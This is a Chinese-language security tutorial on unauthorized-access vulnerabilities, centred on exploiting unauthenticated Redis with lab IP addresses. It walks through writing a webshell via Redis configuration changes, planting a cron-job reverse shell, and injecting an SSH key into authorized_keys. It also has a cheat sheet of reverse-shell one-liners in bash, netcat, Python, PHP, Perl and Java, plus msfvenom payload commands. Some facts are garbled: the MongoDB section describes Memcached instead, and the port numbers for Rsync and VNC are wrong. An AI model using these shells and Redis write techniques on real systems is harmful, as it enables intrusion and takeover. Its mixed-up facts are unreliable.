Redis未授权访问漏洞

目录

前言:

(一)Redis未授权访问·

1、  Remote Dictionary Service

2、Redis常用的数据类型

2.1  基于键值对

3、漏洞原理

4、Redis漏洞利用

4.1  Redis持久化机制

4.2 Redis动态修改配置

4.3、webshell提权

4.4、反弹连接

 总结:

4.5、 Redis写入反弹连接任务

 4.6 、SSH key免密登录

4.7 Redis其他利用方式

5、Redis加固方案

(二)VNC未授权访问

1、漏洞简介以及危害

2、防御手段

(三)Rsync未授权访问漏洞

1、漏洞简介以及危害

端口:837

2、防御手段

(四)MongoDB未授权访问漏洞

漏洞简介及危害

端口:11211

防御手段


前言:

        未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

        目前主要存在未授权访问漏洞的有:NFS服务,Samba服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDBRedis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等。

(一)Redis未授权访问·


1、  Remote Dictionary Service

        做过Java程序开发的小伙伴,应该知道它是经常用来做缓冲的,用于记录各个网站的访问情况,非关系型的数据库,默认端口为:6379,是一种纯内存的数据库。

Redis未授权访问漏洞_第1张图片

2、Redis常用的数据类型


2.1  基于键值对

  • 通过set、get命令操作

Redis未授权访问漏洞_第2张图片

  •  通过hset、hget操作

Redis未授权访问漏洞_第3张图片

         key的内容大多数是string,我们详细展开value的值

  • String:字符和整型
  1. 缓存
  2. 分布式session
  3. 分布式锁
  4. 全局ID
  5. 计数器
  6. 限流
  • Hash:哈希表
  1. 存储一个对象
  2. 存储一张表的数据
  3. 购物车
  • List:有序数组
  1. 消息列表
  2. 文章列表
  3. 评论列表
  4. 公告列表
  5. 活动列表
  • Set:无序集合
  1. 抽奖
  2. 点赞、签到打卡
  3. 商品标签

3、漏洞原理


        Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他费信任来源ip访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authorized_keys文件,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入webshell等操作。

4、Redis漏洞利用


        环境的搭建网上方法很多,这里不再赘述,主要是分析原理。

4.1  Redis持久化机制

        首先我们要理解持久化,Redis是一种纯内存的数据库,但是如果数据只保存在内存里面,没有进入磁盘,假如说断电,数据全部丢失,这样我们就引出了Redis持久化机制,主要通过RDB (Redis DataBase)默认方式和AOF(Append Only File)方式。

  • 默认自动形式(配置)触发

save 3600 1 #自动触发规则

Redis未授权访问漏洞_第4张图片

dbfilename dump.rdb #文件名

Redis未授权访问漏洞_第5张图片

dir ./ #存储路径

Redis未授权访问漏洞_第6张图片

  • 手动形式触发
        save / bgsave

4.2 Redis动态修改配置

        如果我们想修改Redis相关配置,应该在redis.conf里面修改,但是redis还提供了动态修改配置的方法

         可以在termial里:config  set:动态修改配置,重启以后失效。例如下图一(我们把存储路径加上/www/admin/localhost_80/wwwroot是因为这是phpstudy下启动的HTTP服务器,dbfilename 为redis.php的目的是上传一句话木马)

图一

4.3、webshell提权


  • 连接客户端
redis-cli -h 192.168.142.66 -p 6379
  • 配置参数
config set dir /www/admin/localhost_80/wwwroot 
config set dbfilename redis.php

  • 写入一句话木马
set exe 
save
  • 中国蚁剑

Redis未授权访问漏洞_第7张图片

 密码是xiaowei

4.4、反弹连接


前言:
        假如说我们在扫描目录的时候,没有找到Apache等等相关的服务器网站的根目录,无法开启HTTP Server服务,上述方式明显不适用。
  • 为什么要用反弹连接
  1. 内网,私有IP(外网无法访问到内网)
  2. IP动态变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除
  • 反弹连接 Reverse TCP

  •  常见监听端口的方式(攻击机执行)
类型 命令
netcat nc  -lvp  7777(-nlvp  lvvp)
msf

msfconsole

use  exploit/multi/handler

set   payload php/meterpreter/reverse_tcp

set lhost 192.168.142,141

set port 7777

run

socat  socat  TCP-LISTEN:7777 -  (kali)
  • 常见建立反弹连接的方式(靶机执行)
类型 命令
Linux bash bash -i > &/dev/tcp/192.168.142.44/7777 0>&1
netcat nc -e /bin/bash  192.168.142.44   7777
python 

python -c "import os,socket,subprocess; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(('192.168.142.44',7777));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(['/bin/bash','-i']);"

PHP
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.142.44 7777");'
php -r '$sock=fsockopen("192.168.142.44",7777);exec("/bin/bash -i
<&3 >&3 2>&3");'
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec   5<>/dev/tcp/192.168.142.44/7777;cat
<&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
perl
perl -e'use Socket;$i="192.168.142.44";$p=7777;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(S
TDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
i");};
msf -PHP
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777
-o shell.php  案例: vulnhub-prime1 
msf-Java

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -f war -o shell.war  案例:vulnhub-breach1

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141

lport=7777 -f jar -o shell.jar

msf-exe

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.141

lport=7777 -i 5 -f exe -o test.exe

我们以bash反弹连接说明一下原理:

首先介绍Linux文件标识符

  1. 标准输入(stdin):  代码为0,使用 < 或  << ;
  2. 标准输出(stdout):  代码为1,使用> 或 >>;
  3. 标准错误输出(stderr): 代码为2,使用 2> 或 2>>

eg:

netstat  -an|grep 7777 > out.txt  // 输出到文件

find / -name "test.py"  2> /dev/null   //过滤报错

命令意思:

Redis未授权访问漏洞_第8张图片

 总结:


 流程
  1. 监听端口
  2. 执行命令,或者上传payload访问,建立连接
怎么上传?
  1. 文件上传漏洞    写入文件:MySQL、Redis、CMS
  2. 文本编辑命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)
怎么执行?
  1. 访问或者定时任务自动触发

4.5、 Redis写入反弹连接任务


    首先认识定时任务,比如说定期删除记录到的日志......操作cron表达式就可以完成此能。

Redis未授权访问漏洞_第9张图片

  •  Linux crontab
命令 操作
crontab  -u  root -r 删除某个用户的任务
crontab  -u  root time.cron  把文件添加到某个用户的任务
crontab  -u  root  -l 列举某个用户的任务
crontab  -u  root  -e 编辑某个用户的任务
  • cron文件存储路径
路径 内容
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab

放的是对应周期的任务dalily、hourly、montly、weekly

Redis未授权访问漏洞_第10张图片

  • Redis写入定时任务(反弹shell)

客户端先连上:

 再监听7777端口:

 

 set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n":
 

x就是key,可以自定义,\n                   \n 的目的是换行,****的目的是设置的定时任务,bash -i >& /dev/tcp/192.168.1.144/7777 0>&1的目的就是建立反弹连接。

config set dir /var/spool/cron/:

修改dir的路径到/var/spool/cron/的目的是让x写入相应用户的定时文件里面。

config set dbfilename root :

        dbfilename要改为用户的名字,我现在是以root用户进行操作的,所以改为root.

save:

        存入磁盘。

Redis未授权访问漏洞_第11张图片

 4.6 、SSH key免密登录


        听说我们学院把密码学的课程取消了,挺意外的,搞安全密码学就像走开发不懂c语言一样,对安全感兴趣的同学一定要找时间弄懂,这里推荐《基于配对的密码学》,数学推导不懂没关系,要理解思路。

  • 流程 SSH key免密登录
  1. 客户端生成密钥对(公钥、私钥)

 

    2、客户端把公钥发给服务端保存(正常情况需要密码)

 

Redis未授权访问漏洞_第12张图片

    3、客户端用私钥加密消息,发给服务端

 

Redis未授权访问漏洞_第13张图片

 

     4、服务端用公钥解密,解密成功,说明密钥匹配

Redis未授权访问漏洞_第14张图片

     5、客户端免密登录成功

  • 常规流程
  1. 控制机生成密钥对            ssh-keygen
  2. 控制机发送公钥               ssh-copy-id [email protected]
  3. 公钥在靶机保存位置        $HOME/.ssh/authorized_keys
  4. 控制机利用公钥连接        ssh -i ./id_rsa [email protected]
  • Redis命令
  1. set xxx "\n\n\aaaaaaaaaaaaa\n\n\n"
  2. config set dir /root/.ssh
  3. config set dbfilename authorized_keys
  4. save

举个栗子:


        github免密登录

Redis未授权访问漏洞_第15张图片

 

4.7 Redis其他利用方式


  •  基于主从复制的RCE(Remote Code Execution)
  • jackson 反序列化利用
  • lua RCE 
  • Redis密码爆破

5、Redis加固方案


  1. 限制访问IP
  2. 修改默认端口
  3. 使用密码访问
  4. 不要用root运行Redis

(二)VNC未授权访问


1、漏洞简介以及危害

        VNC是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件,由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于UNXI和Linux的免费开源软件,由VNC Server和VNC View两部分组成。VNC默认端口号为59005901。VNC未授权访问漏洞如果被利用可能造成恶意用户直接控制target主机

2、防御手段

  1. 配置VNC客户端登录口令认证并配置符合密码强度要求的密码
  2. 以最小普通权限身份运行操作系统

(三)Rsync未授权访问漏洞


1、漏洞简介以及危害

        Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。

端口:837

2、防御手段

  1. 账户认证:正确配置认证用户名及密码
  2. 权限控制:使用合理的权限
  3. 网络访问控制:控制接入源ip
  4. 数据加密传输等

(四)MongoDB未授权访问漏洞


漏洞简介及危害

Memcached是一套常用的key-value分布式高速缓存系统,由于Memcached的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取Memcached中的敏感信息

端口:11211

防御手段

设置Memcached只允许本地访问

进制外网访问Memcached11211端口

配置访问控制策略

最小化权限运行

修改默认端口等

你可能感兴趣的:(渗透与攻防,网络,网络安全,安全,web安全)